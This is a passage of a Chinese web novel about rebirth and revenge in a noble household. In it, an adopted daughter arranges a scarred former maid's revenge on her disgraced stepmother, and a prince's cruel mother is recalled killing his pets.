万大哥把苏明沛一行人叫住：“明沛，舅舅始终是外人，不便过多插手苏家的事，你母亲如今进了家庙，还需要你们多多照看。” 苏明沛表情冷淡：“大舅，母亲的事，长辈自有安排，我们这些小辈不便过多干涉。” 万大哥对苏明沛的反应不太满意，“明沛，你母亲从未想过伤害你，这就是意外！” 苏明沛冷着脸没说话。 万大哥知道他心中有怨恨，不便多劝，转头看向苏明添：“明添，你......” “大舅，你看我现在这个样子，心有余而力不足。”苏明添躺在床板上，像个废人，除了能说两句话，生活都不能自理。 万大哥又看向苏明珠：“明珠，能不能想办法给你们母亲送点银钱，最好能送两个人进家庙伺候她。你母亲这辈子，就没怎么吃过苦。” 苏明珠抿了抿唇，柔声道：“大舅舅，我恨不得代替母亲受罚！但，现在正在风头上，着急忙慌给母亲送东西送人，怕惹得族中长辈不喜，加重母亲的处罚。” 她看似心疼万氏，实际句句话都在推诿。 万大哥怒起拍桌：“说来说去，你们都不想管？！她可是你们的母亲啊！” 苏明珠柔声道：“大舅误会了。母亲我们肯定要管的，我的意思是，过一段时间，等大家淡忘了，再来关照母亲。” 苏明珠心里有自己的盘算，万氏已经失势，她不能失去父亲的宠爱、大哥的偏疼。 虽然母亲待她很好，但越是关键时刻，越要懂得取舍。 万大哥气得跺脚，“你们这群小白眼狼！” 万氏几个亲生的子女挪开眼，不敢正视大舅，各自装出很忙的样子。 苏舒窈忽然开口：“大舅，我想法子给母亲送一个伺候的人进去吧。” 万大哥愣了愣，满意地点了点头：“还是舒窈孝顺。” 妹妹最不喜欢的就是舒窈，关键时刻，却只有这个养女站出来。 唏嘘。 等妹妹从家庙出来，一定要劝她对舒窈好一些。 “舒窈，这件事就交给你了，需要银钱或者帮忙，只管派人来万家找大舅。” 商议完，万家一行人便离开了。 万大舅一走，苏明芷骂道：“我们都不帮，就你帮，显着你孝顺是吧？” “苏舒窈，你好有心机！” 苏明珠则假惺惺出来打圆场：“小妹，你误会了，大姐姐肯定不会独自揽功的。伺候母亲的人，大姐姐肯定会以我们大家的名义送进去的。” “大姐姐，你觉得我说得对吗？” 简单一句话，就要抢走所有功劳。 苏舒窈淡然一笑：“要不，就说人是妹妹送的人。夫人对我有些误解，就怕说是我送的，夫人不喜欢，反而拒绝。。” 苏明珠没想到对方那么上道，连声应道：“那就再好不过了。” 她怕苏舒窈反悔，叫人拿来笔墨纸砚：“姐姐等等，我写封信给母亲，还请姐姐转交。” 等人全部离开后，苏舒窈贿赂了家庙的看守，带着一个身穿斗篷的女子进了家庙祠堂。 斗篷很深，遮盖住女子大半张脸。 仔细看就会发现，女子脸上横着一条狰狞的疤痕，疤痕从眼角延伸至嘴角。 咧嘴一笑，宛如修罗恶鬼。 这个女子正是苏舒窈找来伺候万氏的人——红燕，吴妈妈的女儿。 红燕一家从悬崖落下，侥幸没死。 她咬着牙，笑起来的样子有些阴森：“大小姐放心，奴婢定会好好照顾夫人。” 第97章 忠仆 苏舒窈走到万氏面前。 万氏瘫坐在地，双目呆滞。 身上的绫罗绸缎换成了粗布麻衣，头发脏乱，身上的钗环、项链、玉镯尽被取走，手上只剩一串佛珠。 进入家庙，身边一个伺候的也不能带，每天不仅要自己做饭，还要做杂活。 除此之外，还有各种故意刁难的小人。 这人啊，一旦失势，身边的人就会变得面目可憎起来。 十年，不知道万氏能熬几年。 听说有的人，进来不到一年就疯了。 “夫人，我来了。” 看到苏舒窈，万氏激动地上站起来：“明珠呢，明沛呢，他们怎么没来看我？” 苏舒窈淡淡一笑：“他们已经回府了。” 万氏愣了愣：“这么快就回去了？他们商量好给我送人送东西了吗？这里太潮湿了，又脏，到处都是虫子，我一刻也待不下去。你去告诉明沛，尽早想办法让我出去！” 她还以为自己是那个高高在上的侯夫人，像往常一样朝着苏舒窈发号施令。 苏舒窈凑过去，小声道：“世子说了，让夫人别想太多，安心为苏家子孙祈福。” “不可能，明沛不是那样的人！”万氏原本一身娇贵，如今满身狼狈，声音也劈了调： “明添呢，明珠呢？他们肯定不会扔下我不管的！” 苏舒窈淡淡地看着她发疯，嘴边噙着一抹满意的笑：“苏明添、苏明珠和苏明芷也走了，全都走了，一个没留。” “只有我最孝顺，这个时候还来看你。” “从今往后，我会更加孝顺夫人的。” “夫人，你感动吗？” 万氏觉得苏舒窈的表情有些没对，具体是哪里没对，她也说不出来。 “苏舒窈，你有病是不是？！是不是你让她们离开的，苏舒窈，你以为我进了家庙，你就能随意折辱我？！” “你是不是以为我永远出不去了？！” “你想的美，明沛高中进士、明添进了金吾卫之后马上就会将我救出去的！” 苏舒窈欣赏完对方崩溃的模样，满意地笑了笑，紧接着从怀中拿出一封信来：“夫人，我开玩笑的，明珠妹妹给你写了一封信，我是来给你送信的。” 万氏像是抓到救命稻草一般，把信抢了过去。 信封上的油墨还未干透，应该是刚写没多久。 苏明珠在信中写道，听到母亲噩耗，她心如刀绞，恨不得代替母亲在家庙受难。 她一个弱女子，什么也不能做，她费尽心机，终于找到一忠仆，愿意进家庙伺候母亲。 请母亲安心，只要有一丝机会能救母亲出去，她定会赴汤蹈火、在所不辞。 读完信，万氏那颗慌乱的心稍微安稳下来。 还好，还有人伺候。 万氏将信折好，妥帖地收入怀中：“明珠给我找的忠仆呢？是谁，在哪里？” 苏舒窈淡淡一笑：“是府中老人，以前全家都伺候过夫人的。” 万氏吐出一口浊气，挺起胸，重新摆出一股当家主母的气势：“把人叫来吧。” 苏舒窈往后看了一眼，轻声唤道：“进来吧，从今往后，定要好好伺候夫人。” 红燕披着斗篷，从门外走了进来。 斗篷很大，遮住了她大半张脸，再加上光线昏暗，万氏一时没想起这人是谁。 “把斗篷取了，抬起头来。” 红燕取下斗篷，直勾勾看过去。 嘴角往上裂开，脸上那条疤痕更显狰狞：“夫人，奴婢红燕。” 万氏盯着红燕的脸，心往下一沉：“你、你、你......” 你不是死了吗？ 红燕眼底露出一抹阴森：“夫人，你忘了吗？我是吴妈妈的女儿红燕，我母亲是忠仆，我们全家都是忠仆！” 她们一家是万家的家生子，作为陪房跟着万氏来到侯府，吴妈妈深受万氏器重，是万氏身边第一的脸的妈妈。 论忠心，她们一家能排前三。 可是，就算忠心又怎么样，失去利用价值，一样会被无情抛弃。 万氏往后退了两步，浑身汗毛倒竖：“你不要过来，我、我不要你，苏舒窈，把她给我带走！！” 苏舒窈淡然一笑，“夫人，这可是明珠妹妹给您千挑万选的奴婢，你不要，岂不是浪费了明珠妹妹的好意？” 万氏将苏明珠的信从怀中抓出来，揉成一团，在地上踩了好几脚：“退回去，我不要！！” 苏舒窈转头看了红燕一眼，红燕捡起地上的信，一步一步走了过去：“夫人怕什么，奴婢忠心耿耿，定会好好伺候您的。” 落崖之后，她的嗓子也毁了，声音好似被砂纸磨过，哑得不成样子。 听到万氏耳里，就好似索命的恶鬼在低吟。 苏舒窈接过红燕递来的信，她将被揉皱的信纸展开，把信放到桌上：“族中有规定，子女可以代替母亲到家庙受罚，但必须子女自愿。” 万氏抬起头：“苏舒窈，你愿意代替我的吧，你刚刚不是说了，你最孝顺的吗！” 苏舒窈淡然一笑：“夫人别急，我还没说完呢。” “族长说了，为了宣扬孝道，也防止欺压庶子庶女，代替的子女必须是亲生的子女，庶女、养女都不行。” 她低头看了眼信上的文字：“明珠妹妹愿意代替夫人，就不知道夫人愿不愿意？” 万氏只是犹豫了两秒，便满口应承下来：“我愿意的，快让明珠来代替我，明珠的孝心我会记在心里的！” 原本牢不可摧的母女情，在一瞬间也崩盘了。 苏舒窈目光落在信封上：“那夫人可得把信收好了，到时候族长要是同意，这可是夫人的证据。” 万氏重新将信折好，再次妥帖地放进胸口：“我会放好的，你快去问问，什么时候能换人！” 苏舒窈满意地笑起来，“夫人等着吧，我马上就去。” 说完，转身就走。 “等一等！”万氏追上去想要将人抓住：“把红燕带走，我不要她！！” 苏舒窈缓缓往前走，一步一步稳如泰山。 明明只是一个十六岁的小丫头，浑身上下却透着一股岁月沉淀的威仪。 眼看万氏要抓住苏舒窈的衣袖，红燕一把拽住万氏的头发，将她生生拖了回来。 在万氏不可置信的眼神注视下，红燕伸出手，一巴掌甩到万氏脸上。 “你、你敢打本夫人？！” 红燕森然一笑：“夫人，奴婢都已经死过一次了，还有什么不敢的？” 第98章 激动 “哈哈哈哈——” 红燕朗声大笑着，将门关得严严实实。 “夫人，你可知，我们全家落入悬崖的时候，我的心有多恨。” “可怜我儿刚四岁，他什么都不知道，什么也不懂。坐上去往庄子的牛车，他还天真地劝慰我，他说：‘母亲，听说庄子很好玩，儿子喜欢庄子，母亲别愁了，笑一笑。我们一定会越来越好的。’” “我想着，虽然家里的银钱被夫人全部搜刮，但人还在。人在，就有希望。” “没想到夫人的心那么狠，竟然要我们全家都去死！” 红燕笑着笑着，两行泪水顺着脸颊流了下来，表情比哭还难看。 她抬手抹干眼泪，冷森森盯着万氏： “还好苍天有眼，让我活了下来，还给了我‘伺候’夫人的机会。” “夫人信佛，夫人您说，这叫不叫报应？” “可惜啊，奴婢现在只剩一个人，奴婢全家都是忠仆呢。” “不过夫人放心，虽然全家只剩奴婢一人，奴婢定会尽职尽忠，将夫人伺候舒坦。” 烛火微弱，将红燕那张脸映照得更加扭曲。 万氏瑟缩着身子，一步一步往后退：“红燕，你是不是疯了？” 退到门口，她想开门，才发现大门被外面反锁了。 万氏将门拍得哐哐作响：“快来人啊，这里有人疯了！！快把这个疯子赶出去！疯子杀人了！！” “苏舒窈，你快回来！！” 红燕一步一步走过去，好似大型猛兽戏弄猎物：“夫人，奴婢不会让你死的，奴婢会让你生不如死！” 近距离对上红燕那张脸，万氏吓得发出刺耳尖叫：“啊啊啊啊啊，救命啊啊啊——” 万氏闹腾的声音很大，惊动了守门的婆子。 守门的婆子开门进来骂道：“小声点，扰了祖宗的清净，我整不死你们！” 婆子姓王，长得五大三粗，一看就是做惯了粗活，胳膊比万氏大腿还粗。 被送进家庙的夫人，都是犯了错的。 王婆子不知道万氏犯了什么错，但落到她的手里，就要守她的规矩。 红燕的态度一百八十度大转变：“王管事，夫人受了刺激，不愿接受现实，有些失心疯了。王管事放心，我定会让夫人闭嘴的。” 王婆子冷哼一声：“再吵，用针线把嘴缝上！” 红燕低头应了。 万氏跑到王婆子身后，命令道：“快把红燕赶走，我不要她伺候！” 王婆子嘿嘿一笑：“红燕可不是来伺候你的。” 红燕：“夫人，奴婢是来监督您干活的。” 王婆子：“去，给我打盆洗脚水来，帮我把脚洗了！” 万氏诧异：“你说什么？” 王婆子：“你聋了是不是？我说让你给我洗脚！” 万氏今日被震惊了好几次，听到这个要求，还是很震惊。 “我？帮你洗脚？” 怎么会有这么粗鄙的婆子？ 万氏气得浑身发抖：“一个看门的婆子，竟敢让本夫人给你洗脚？！” 王婆子脸上露出一抹怪笑：“还当自己是娇生惯养的侯府夫人呢！记住，这里是家庙，就算是王孙公主来了，也得听我的。” 王婆子走过来，居高临下地看着万氏：“不仅要给我洗脚，还要倒恭桶、做饭、洗衣、打扫整个祠堂。” “如果你不想当美人纸，最好乖乖听话。” 听到“美人纸”三个字，万氏心中涌上一抹恶心。 虽然侯府没有“美人纸”，但她听说过。 就是让美人的嘴充当厕纸，每次贵人出恭之后，用嘴清理污垢。 “愣着干什么？还不快去打水来！我的脚一个月没洗了，痒得很！” 万氏喉咙发涩，一种从未有过的憋屈感漫上心头，胸腔好似压上了一座带刺的大山，又痛又让人喘不过气。 抖抖索索站起来，拿着盆到井边打水。 她从来没有干过这种粗活，打水都打了小半个时辰，才打上来半桶水。 水打上之后，还要烧水。 好不容易烧好水，已经是一个多时辰之后了。 看着手掌被勒出的道道红痕，万氏终于忍不住哭出声来。 红燕一点忙没帮，反而像个监工。 她站在门口，看着万氏悲苦万分的模样，眼底露出一抹讥讽：“夫人现在就受不住了？” “夫人，你可知道，我看着全家的尸体躺在身边的时候，比你难过一百万倍，我连哭都哭不出来。” 万氏心尖一颤，狡辩道：“红燕，你全家是庞妈妈害的，我吩咐了她要善待你们的，是庞妈妈自作主张！你母亲是苏舒窈害的，你母亲刚罚了苏舒窈就不明不白死了！红燕，冤有头债有主，你去找她们！无我无关啊！！” 红燕冷眼看着万氏狡辩，“夫人动作快一些吧，王管事的脾气可没奴婢那么好，要是让夫人用嘴把脚舔干净，那可就太好了。” 万氏吓得一激灵，赶紧兑好水，端到王婆子房间里。 帮王婆子脱下袜子的时候，万氏差点没忍住恶心吐出来。 王婆子的脚又粗又黑，脚指甲里全是污泥，散发出一股难闻的恶臭。 “搓干净，对，脚趾缝也要搓！” ~ 这边，万氏几个孩子回了侯府。 苏明沛先去了月姨娘那里，看到月姨娘一切安好，他趴到月姨娘旁边，守着她睡了。 苏明添辗转反侧，有些失眠。 大哥没了生育能力，世子之位可能被废，那他的机会岂不是来了？ 苏明添也只是窃喜了一下，便将念头扔在了脑后。 毕竟，他现在双腿断了，右手也断了，吃喝拉撒都需要人伺候，跟个废人一样。 就算大哥没了继承权，世子之位暂时也落不到他头上来。 当晚，苏明添做了个很长的梦。 他梦到了上一世，也受了腿伤。 但不同的是，上一世他是为了救恭王世子受的伤。 从演武场出来，恭王世子带着他们去西山狩猎，一只母熊带着崽忽然闯入，恭王世子的马受了惊，他为了救恭王世子，摔断了左腿。 恭王世子当即承诺，等他腿伤痊愈，便引荐他进入金吾卫。 他的腿伤得很严重，治了半年都没有治好，红肿发痛，请来御医，御医建议截肢。 是苏舒窈请来鬼医治好了他。 后来，他成功进入金吾卫，再后来，他得到骠骑大将军赏识，到了边关，立下战功，最后被封为三品大将军，风光无限。 虽然大夏重文抑武，但他手上握有兵权，地位不比大哥的地位低。 苏明添醒来之后，激动得浑身颤抖：“快，把苏舒窈给我叫过来！” 第99章 催促 梦中的记忆非常深刻，细节栩栩如生，就好似重新活了一世。 想到前一世的威风，苏明添胸膛起伏加快，呼吸也变得急促起来。 他的腿伤不仅能痊愈，他还能进入金吾卫，当上大将军！！ “快，把苏舒窈给我叫来！要快！” 小丫鬟马不停蹄去叫人。 苏舒窈还没起床，就被苏明添派来的小丫鬟给吵醒了。 “二少爷叫我干什么？”苏舒窈慢条斯理地吃着早膳。 今日的早膳是血燕，配上莲蓉水晶包、翡翠虾仁、一小碟鸡丝凉面，开胃又解暑。 “二少爷一醒来便让奴婢来请大小姐，具体什么事，奴婢也不知道。” 小丫鬟纳罕，大小姐最近变了好多，以往二少爷有个头疼脑热，大小姐都着急得不行。 这次二少爷伤这么严重，大小姐跟个没事人似的。 苏舒窈吃完早膳，漱完口，才不疾不徐地跟着小丫鬟去到苏明添院子里。 苏明添自从受伤后，便精神不振，见到苏舒窈的那一刻，差点从床上蹦起来：“苏舒窈，快去给我重新请一个医师来！” 苏舒窈笑着应了。 她到巷子口找了个江湖游医送过去。 没一会儿，小丫鬟又来倚兰居找人：“大小姐，二少爷不满意新来的医师，还要麻烦您再过去一趟。” 苏舒窈又去了一趟。 苏明添见着人便大发雷霆：“苏舒窈，你傻的是不是，哪里请的庸医？！” 苏舒窈淡淡一笑：“二少爷，都没让人医，怎么骂上人了？” 苏明添咆哮道：“他要用刀削掉我腿上坏掉的肉，还要我喝符水！我能让他们医吗？！” 苏舒窈：“那我再给二少爷换一个医师来。” 巷子口游医很多，每天找一个，一个月不重样。只不过，很多游医连一点基本医学知识都不会，只会跳大神骗钱。 连请了三次游医，苏明添受不了了，他直接下令道：“你去琅玡山，给我请鬼医来！” 苏舒窈愣了愣，思索片刻便知，苏明添也重生了。 上一世，鬼医的名头是她偶然得知的，刚把鬼医请到府中的时候，苏明添还嘲笑她，说她被人骗了。 鬼医一副药缓解了苏明添的疼痛之后，苏明添才相信鬼医是真的医术高明。 苏舒窈佯装不知，问道：“鬼医？听着好害怕，二少爷千万别病急乱投医。” 苏明添深吸一口气，压制住胸腔怒意：“让你去就去，废话那么多。” 苏舒窈淡淡道：“我不知道鬼医在哪里？” “鬼医在琅玡山，具体在哪里，你仔细去打听。” 苏明添非常不耐烦。 上一世都能打听到，这一世在他面前装什么装？ 苏舒窈想了想：“那还请二少爷等几天，长公主府刚派人递了赏花的帖子，我去参加完长公主府的花宴过后，再派人去打听。” 苏明添差点没被气死。 苏舒窈宁愿参加赏花宴，都不愿意去帮他找鬼医。 她怎么可以这样？！ 要知道，上一世的苏舒窈不是这样的，为了把鬼医请到府中帮他医治，她吃了好多苦，不仅给鬼医当药童，还给鬼医试毒。 这一世，她究竟怎么了？ 被鬼附身了？ 刚才那个会跳大神的游医应该留下来，让他给苏舒窈跳一跳。 苏明添使出杀手锏：“苏舒窈，你再这样冥顽不灵，给你机会不把握，我对明珠好了！” 苏舒窈淡淡地看了他一眼，笑了：“二少爷，你的好，我一点也不稀罕。” ~ 长公主府又要举办花宴，这一次花宴，不仅是为谢小郡王挑选郡王妃，还要为九殿下挑选王妃。 皇帝见了谢瑜，原本想赐婚，长公主拦了下来。 “皇兄，皇妹的意思是让瑜儿自己来选，不求门第显赫，只希望瑜儿喜欢。” 皇帝赐婚，定是高门贵女。 谢家的尊荣已经到顶了，长公主能得宠这么多年，物极必反的道理还是懂的。 “那就帮着小九也相看一番。小九年龄也不小了，他性子跳脱，需得性子沉稳的女子互补才好。” 长公主应下此事，赏花宴又张罗起来。 长公主帮楚翎曜选妃的消息很快传到容妃宫中，容妃当日就将楚翎曜召进宫来。 “阿秋，听说长公主要帮你选妃？” 容妃很美，虽然已经年过三十，可岁月并未在她脸上留下过多的印记，嘴角噙着一抹天真的笑，像那种单纯的，未经世事的姑娘。 后宫三千佳丽，能得到“容”字封号，可见她的美有多权威。 “阿秋，怎么忽然就要选妃了？你想成亲，为什么不先告诉母妃？” 楚翎曜垂着眼帘：“儿臣不知，都是父皇的意思。” 容妃脸上的神色骤然变化，语气也变得急躁起来： “阿秋，母妃说了，你还小，不急着选妃。有了母妃的爱，你还不满足吗？非要娶个外人回来插足我们母子的感情。” 楚翎曜眼神淡漠，没有说话。 容妃的视线落在博物架上一个风铃上，“把风铃给本宫取来。” 风铃是小鸟的造型，铃铛下面坠着一根漂亮的翎羽，风一吹，便玲玲当当响起来。 拿到风铃，容妃又恢复成之前的纯真：“阿秋，还记得这个风铃吗？真好看啊~” 楚翎曜偏过头，视线始终未在风铃上停过一瞬。 他从小就没有玩伴，五岁的时候，皇帝赏了他一只会说话的鹦鹉。 他很是喜欢，给鹦鹉取名靛鸾，吃饭带着，睡觉带着，亲自给鹦鹉洗澡，去读书的时候，也让太监把鹦鹉带着等在门口。 鹦鹉很聪明，会叫他哥哥，他做功课的时候也守在一旁，还会学他背书。 一人一鸟，亲密无间。 忽然有一天，鹦鹉不见了，他急得到处找。 中午，容妃给他端来一碗鸽子汤，亲自喂他吃得干干净净。 吃完之后，容妃还贴心地问他好不好吃。 那个时候，楚翎曜说话还带着一股奶气，身上透着一股孩童的天真。 他点头，说很好吃，谢谢母妃。 容妃笑着告诉他，这碗鸽子汤，其实是鹦鹉，他最爱的“小伙伴”靛鸾。 他想吐，却什么也吐不出来。 他也不敢哭，因为下午父皇要考教功课，不能让父皇看出来他哭过。 他只能睁着一双漂亮的眼睛，无助地颤抖。 第100章 有病 五岁的楚翎曜第一次懂得什么叫做伤心。 胸口某处好似被尖椎凿穿，一抽一抽地疼，还喘不过气。 容妃说了，玩物丧志会堕落，会被陛下厌弃，她是为了他好。 容妃还说了，与其和鹦鹉玩耍，不如多花点心思在学业上，他学得好，太傅表扬的次数多，皇帝才会到经常到瑶光殿来。 这个风铃，成为他六岁的生辰礼物。 容妃说了，既然他喜欢鹦鹉，这个风铃他肯定也喜欢。 容妃命人将风铃挂在他床头，时刻提醒。 有一段时间，他一听到风铃的声音，便会无声地落泪。 皇子到了七岁，会搬出母妃寝宫统一住到皇子所，楚翎曜搬出瑶光殿之后，这个风铃重新回到了容妃手里。 容妃轻轻一拨弄，风铃再次响起来。 “叮铃铃~” 清脆悦耳，仿若鸟鸣。 楚翎曜听到风铃的响声，眼神中覆盖了一层碎冰，毫无情绪，一片荒漠。 “阿秋，你老实告诉母妃，是不是有了心仪的姑娘？”容妃撑着下巴，嘴边扬起一抹恬淡清新的笑容。 楚翎曜淡淡回道：“没有。” 容妃眉目舒展开来，嘴边的笑容逐渐加深：“母妃就知道，阿秋怎么会轻易喜欢上别的女子。” “把铃铛放出去，就放到那里吧。”容妃伸出纤纤玉指，指着博物架上一块动物毛皮。 瑶光殿装饰极尽奢华，那一小块动物的毛皮，与整个瑶光殿的奢华装饰不太匹配。 那是一块猫皮。 楚翎曜八岁的时候，住在瑶光殿偏殿的绮贵人养了只波斯猫。 波斯猫被绮贵人养得很好，毛光水亮，长了对鸳鸯眼，一见到楚翎曜，便小声喵喵叫，娇气得很。 楚翎曜很喜欢，但他不敢明目张胆喜欢，他背着容妃，偷偷给猫喂过几次小鱼干。 一开始，他不敢摸猫咪，后来，他见容妃没发现，不仅摸了猫咪，还抱着猫咪玩耍。 每次和猫咪玩耍之后，他都会独自藏进花园里，把身上的猫毛处理干净之后，才去给容妃请安。 最后还是被容妃发现了。 没过多久，绮贵人因为得罪容妃，被贬出瑶光殿偏殿。 当天晚上，那块猫皮就被放到了楚翎曜枕边。 他开始回想当天的晚膳。 晚膳是在皇子所用的，御膳房统一配送，没有奇怪的肉。 他还是吐了。 吐得翻天覆地。 呕吐的冲动逼出了生理泪水，迷糊了双眼。 容妃把他教育了一顿，说他身为男儿，应该顶天立地，怎么老是喜欢弱小的、只有女子才喜欢的事物。 他的五官像女子，应该表现得更阳刚一些，才能抵消长相带来的劣势。 因为皇帝喜欢勇敢的儿子。 他被带进虎园，被逼着亲自给老虎喂食。 容妃说，猛兽，才值得他喜欢。 容妃还说，刚才老虎吃的肉，是波斯猫的。 从此之后，他不再对任何事物表露出欢喜，就算再喜欢，也必须忍住。 喜欢可以忍耐，但心底的压抑却无处发泄。 “母妃，儿臣没有喜欢的女子。” 嗓音平静无波，宛如一潭死水。 容妃满意地点了点头：“拿铜镜来。” 她拿着铜镜，欣赏着镜中的自己，喃喃道：“阿秋，陛下好久没来瑶光殿了，你说，是不是因为母妃老了，陛下不喜欢母妃了？” “哎，又添一道皱纹。”容妃叹了口气，开始回忆往昔：“当初陛下还是皇子，我是南域国最受宠的公主，我对陛下一见倾心，陛下承诺会爱我一生一世，我才会跟着他来到大夏。” “一开始，我还是受宠的，陛下十天有八天会宿在我这里，渐渐地，宫里的妹妹越来越多，陛下来的次数越来越少。” “阿秋，你说，母妃要是没了皱纹，陛下会经常来吗？” “我抛弃了家国远嫁大夏，陛下怎么不对我好一点？” 这些话，楚翎曜听了百八十遍，都快麻木了。 他机械地回道：“母妃没老，母妃是天底下最漂亮的女子。” 容妃拿起一支珠花簪到发髻，看着铜镜中的自己，怎么也不满意，“我都这么美了，为什么陛下还不来？” “说，是不是因为你！”容妃的声音陡然拔高了几个音调，变得尖厉起来：“听说你又被御史弹劾了，距离上一次被弹劾，还不到几天！” “是不是因为你被弹劾，陛下才不来？！” “阿秋，你怎么这么不乖？” “陛下肯定是因为你不成器，才不到瑶光殿这里来的！” “阿秋，你身上流着南域国皇室的血，南域国如今被灭，你有责任复兴南域国，所以，你要比其他皇子加倍努力。” 楚翎曜打断道：“母妃，这话不能再说了。” 容妃忽然又娇俏地笑起来：“怕什么，就算在陛下面前，我也这么说。陛下说了，就是喜欢我这份率真。” 容妃朝着他招了招手：“阿秋，你过来，你告诉母妃，你喜欢什么样的女子？” 楚翎曜神情麻木，眼神淡漠，如机器般重复往日重复过成千上万遍的话：“儿臣最喜欢母妃这样的女子。” 容妃听到满意的答复，欢快地笑起来：“母妃就知道，阿秋最爱的是母妃。” “既然如此，阿秋更不必选妃了。” 不知道想起什么，容妃眼中的笑转瞬即逝，她的语气依然像少女般轻柔，声音却开始颤抖。 “但，母妃最爱的，是陛下。” “为什么陛下不再爱我了，为什么......” 周围的宫女太监低着头，不敢发出一点声音。 整个瑶光殿沉默下来。 容妃继续拿起铜镜欣赏自己的容颜。 不知道过了多久，也许她累了，才挥挥手：“阿秋，去吧，长公主的赏花宴还等着你去呢。” “要是看到心仪的姑娘，一定要告诉母妃。” 楚翎曜躬身行了一礼，弯腰退了出去。 离开瑶光殿，他没觉得松了一口气，反而觉得更加压抑，心底喷涌出一股破坏、杀戮的冲动。 他转身去了镇扶司。 镇扶司诏狱，阴暗血腥的气味能让他感受到片刻安宁。 可是这一次，他却无法感到满足。 他从墙上随手选了一件刑具，去了威远侯府。 第101章 对比 威远侯府，苏明添院子里。 苏明添面对苏舒窈的冷漠，声音变得越发尖厉：“苏舒窈，上一世你找来鬼医，我没有领情，害得你被鬼医下毒。我承认上一世我有不对的地方。” “但这一世，我并未对你做出过分的事，再说了，我已经主动开口了，你还不把鬼医给我找来！” “痊愈之后，我是要成为大将军的人，难道你眼睁睁看着我成为残疾？！” 苏舒窈微微皱了皱眉。 苏明添破防得真厉害，都语无伦次了。 等他知道其实她去请了鬼医，但是是为别人请的，不知道他会不会被气得吐血。 期待。 看着苏明添气急败坏的样子，苏舒窈叹了口气。 原来，苏明添也知道自己上一世有错啊。 明知有错，却不悔改，最后还伙同家人将她毒杀，现在哪里来的脸求她办事。 只能说苏明添脸皮真厚。 两世以来，第一次收到道歉，苏舒窈心里并未太多起伏。 不对，这不叫道歉，哪有人道歉这么颐指气使？ 这不过是苏明添为了让她继续付出，纡尊降贵的施舍罢了。 再说了，这一世，苏明添当着那么多人毁她清誉，还不过分？ 苏舒窈不屑于和他攀扯：“二少爷，你在说什么？什么上一世这一世，二少爷是不是发热了？” “来人，给二少爷打盆水擦擦身子，二少爷说胡话了。” 说完，便转身离开了。 “苏舒窈，记住你今天的话，希望你永远不会后悔！！” “苏舒窈，你走吧，只要你踏出这个大门，从今以后，我都不需要你的帮忙！你以后遇到麻烦，别回头来求我！” 苏明添发了好大一通脾气。 要不是因为腿断了，他能把整个房间全砸了。 苏明添很是疑惑。 他都主动抛出橄榄枝了，苏舒窈竟然还不领情？ 看着苏舒窈的背影，苏明添大声道：“把明珠妹妹给我叫来！” 他叫得很大声，像是故意让苏舒窈听见似的。 从今天起，他的爱，再也不会分给苏舒窈一点，他的眼神，再也不会多分给苏舒窈一丝。 他已经对苏舒窈释放了足够的善意，是苏舒窈不珍惜的。 这不能怪他，要怪就怪苏舒窈太不识相！ 苏舒窈离开后，苏明珠很快就来了：“二哥哥，找明珠有什么事？” 苏明添表情严肃：“明珠，你稀罕我的爱吗？” 苏明珠愣了愣，回道：“当然稀罕了，妹妹恨不得霸占二哥哥所有的爱。” 苏明添心头憋着的一口气终于吐了出来。 苏舒窈不稀罕，自然有人稀罕。 果然，还是明珠妹妹对他最好了。 “明珠妹妹，二哥哥麻烦你一件事。” 苏明珠：“二哥哥，你说。” 苏明添：“请你去琅玡山帮二哥哥请鬼医来，二哥哥的腿伤，只有鬼医才能医治。” 苏明珠下意识皱了皱眉。 鬼医不是该苏舒窈去请吗？ 为什么让她去？ 琅玡山那么高，听说山中有瘴气，还有熊瞎子，她一个弱女子，怎么能去那种危险的地方。 再说了，鬼医性格孤僻古怪，当初苏舒窈请鬼医，可是吃了不少苦。 她吃不了苦，她只会说一些漂亮话。 苏明珠对自己很有自知之明。 她不想去，可是，却又不能表现出来。 苏明珠歪着头卖了个萌，故作迷糊：“二哥哥，琅玡山在哪里啊？二哥哥从哪里听来的鬼医的名声，是不是大姐姐说的啊？” “如果是大姐姐说的，不如让大姐姐去把鬼医找来。” 苏明添自然听出了苏明珠口中的推脱之意。 眉头微微皱起。 上一世苏明珠不是这么说的。 上一世苏明珠被找回侯府的时候，他的腿已经被治好了，只是偶尔下雨天的时候会痛。 每次风湿痛，苏明珠都很担心，一张小脸皱成一团帮他敷药，“我要是早些回来就好了，一定让鬼医把二哥哥的腿疾治好了才走。” “看着二哥哥腿痛，妹妹的心好难受。” 这一世，他都主动开口了，苏明珠难道不应该马上收拾行囊去琅玡山找人吗？ 苏明珠看出了他眼中的不满，忙道：“我是怕一通瞎找，连鬼医住在哪里都找不到，拖长时间，反而耽误了二哥哥的病情。” “鬼医要是姐姐发现的，姐姐去找来不是更便宜，也不会耽误二哥哥的医治。” “二哥哥要是不好开口，我去找大姐姐，让大姐姐帮二哥哥找鬼医。” “我是打算在府中守着二哥哥的，母亲现在去了家庙，偌大一个侯府，就只有我照看二哥哥，我怕出去太久，二哥哥有什么情况，找不到人使唤。” 她的话滴水不漏，听起来对苏明添备感关心，说来说去，就是推脱，不愿意亲自去找。 苏明添想起上一世，苏舒窈不会说场面话，有什么事，只要她觉得对，她就会去做。 上一世的苏舒窈，得知鬼医能治好他的腿伤，不顾劝阻、单枪匹马就去了琅玡山。 没人知道她遭遇了什么，只知道她在琅玡山待了一个月，回府的时候，全身都是伤，左眼还看不见了。 她消失的一个月，没人关心她的死活，府中更多的是抱怨。 抱怨她不声不响就走了，扔下侯府中馈没人管。 母亲抱怨香用完了，燕窝吃完了，苏舒窈没有及时采买；父亲抱怨银子不够用了；大哥抱怨苏舒窈给他找的老师太严厉，抑制了他的才华；小妹抱怨新作的衣裳花样不鲜亮...... 他好像也抱怨，抱怨苏舒窈没有时时刻刻守在床边照顾他。 后来，苏舒窈把鬼医请回府中，鬼医性格刁钻，必须要他磕头谢恩之后才会医治，他又把苏舒窈怪上了，还臭骂了苏舒窈一顿...... 上一世的苏舒窈脾气很好，被他臭骂的时候，还笑着说：“太好了，二哥哥的腿伤终于能好了......” 现在冷静想来，苏舒窈才是干实事的人，苏明珠除了会说漂亮话，什么用也没有。 可是，不知道为什么，他上一世，就是觉得苏明珠比苏舒窈好很多。 早知道上一世，他就对苏舒窈好一些了。 可是，这一世的苏舒窈是怎么了？ 完全没有上一世的温良恭俭让，还总是摆出一副咄咄逼人的样子？ 她怎么变成了这样？！ 被邪祟魇着了？ 